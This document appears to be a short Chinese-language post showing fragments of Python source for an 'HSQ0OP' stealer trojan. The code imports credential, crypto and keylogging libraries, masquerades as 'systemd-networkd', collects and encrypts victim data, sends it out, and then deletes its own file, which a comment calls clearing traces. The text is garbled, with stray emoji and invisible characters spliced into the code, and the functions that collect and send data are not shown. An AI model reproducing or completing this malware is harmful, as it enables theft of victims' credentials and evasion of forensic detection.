HSQ0OP窃密木马来袭

# HSQ0OP Version:5.0 Advanced stealing tools.
# MAKE BY:alpha
import os
import platform
import socket
👊🏝🍽❓🪶‎import uuid
import requests
import json
import re
import subprocess
👃🔥🫖♑🐟‍import time
import hashlib
import base64
import sqlite3
from datetime import datetime

🧑‍💻‌🪣😉🧠

import sys
import ctypes
import math
import resource
from itertools import cycle
🤝🦼🍊☪🦊‌from glob import glob
import paramiko
import win32con
import winreg
import zlib
🤞🛩🍽📵🐠‍import random
import string
import threading
from cryptography.fernet import Fernet
from Crypto.Cipher import AES
👍🚠🦞🆒🦋‏from Crypto.Util.Padding import pad, unpad
from win32gui import FindWindow, ShowWindow
from time import perf_counter
from pynput import mouse
from ctypes import windll, Structure, c_ulong, c_wchar_p, byref

🧒‎💄🛒😉✍

from datetime import datetime
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
import win32api
try:🧑‍💻‍🩲🖨🥲🙏
    import win32crypt
except:
    pass

这些模块就非常高级

🧑‍⚕️‌👑🪣😥🙏

if __name__ == '__main__':
    if 'SERVICE_NAME' not in os.environ:
        os.environ['SERVICE_NAME'] = 'systemd-networkd'

👨‍🚒‍👜🎺🤡🤞

    collected_data = collect_all()

    encrypted_payload = get_encrypted_payload(collected_data)
    send_success = send_encrypted(encrypted_payload)

🤌🏫🫑🚭🦋‍    if send_success:
        if '__file__' in globals():
            try:
                os.remove(__file__)
            except:

🧒‍🩰📞😡👌

                pass
最后的清除痕迹